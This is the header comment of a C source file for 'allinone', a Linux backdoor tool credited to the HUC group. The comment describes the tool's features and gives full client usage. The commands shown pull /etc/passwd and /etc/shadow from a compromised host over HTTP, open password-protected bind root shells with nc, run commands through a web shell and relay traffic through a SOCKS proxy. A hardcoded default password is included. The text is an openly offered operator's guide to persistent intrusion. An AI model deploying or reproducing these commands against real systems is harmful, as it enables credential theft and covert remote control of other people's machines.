/************************************************************************
* allinone.c for HUC (2002.1)
*
* allinone.c is
* a Http server,
* a sockets transmit server,
* a shell backdoor,
* a icmp backdoor,
* a bind shell backdoor,
* a like http shell,
* it can translate file from remote host,
* it can give you a socks5 proxy,
* it can use for to attack, jumps the extension, Visits other machines.
* it can give you a root shell.:)
*
* Usage:
* compile:
* gcc -o allinone allinone.c -lpthread
* run on target:
* ./allinone
*
* 1.httpd server
* Client:
* http://target:8008/givemefile/etc/passwd
* lynx -dump http://target:8008/givemefile/etc/shadow > shadow
* or wget http://target:8008/givemefile/etc/shadow
*
* 2.icmp backdoor
* Client:
* ping -l 101 target (on windows)
* ping -s 101 -c 4 target (on linux)
* nc target 8080
* kissme:) --> your password
*
* 3.shell backdoor
* Client:
* nc target 8008
* kissme:) --> your password
*
* 4.bind a root shell on your port
* Client:
* http://target:8008/bindport:9999
* nc target 9999
* kissme:) --> your password
*
* 5.sockets transmit
* Client:
* http://target:8008/socks/:local listen port::you want to tran ip:::you want to tran port
* http://target:8008/socks/:1080::192.168.0.1:::21
* nc target 1080
*
* 6.http shell
* Client:
* http://target:8008/givemeshell:ls -al (no pipe)
*
* ps:
* All bind shell have a passwd, default is: kissme:)
* All bind shell will close, if Two minutes do not have the connection.
* All bind shell only can use one time until reactivates.
*

* Welcome to HUC Website, Http://www.cnhonker.com
*
* Test on redhat 6.1/6.2/7.0/7.1/7.2 (maybe others)
* Thx bkbll's Transmit code, and thx Neil,con,iceblood for test.
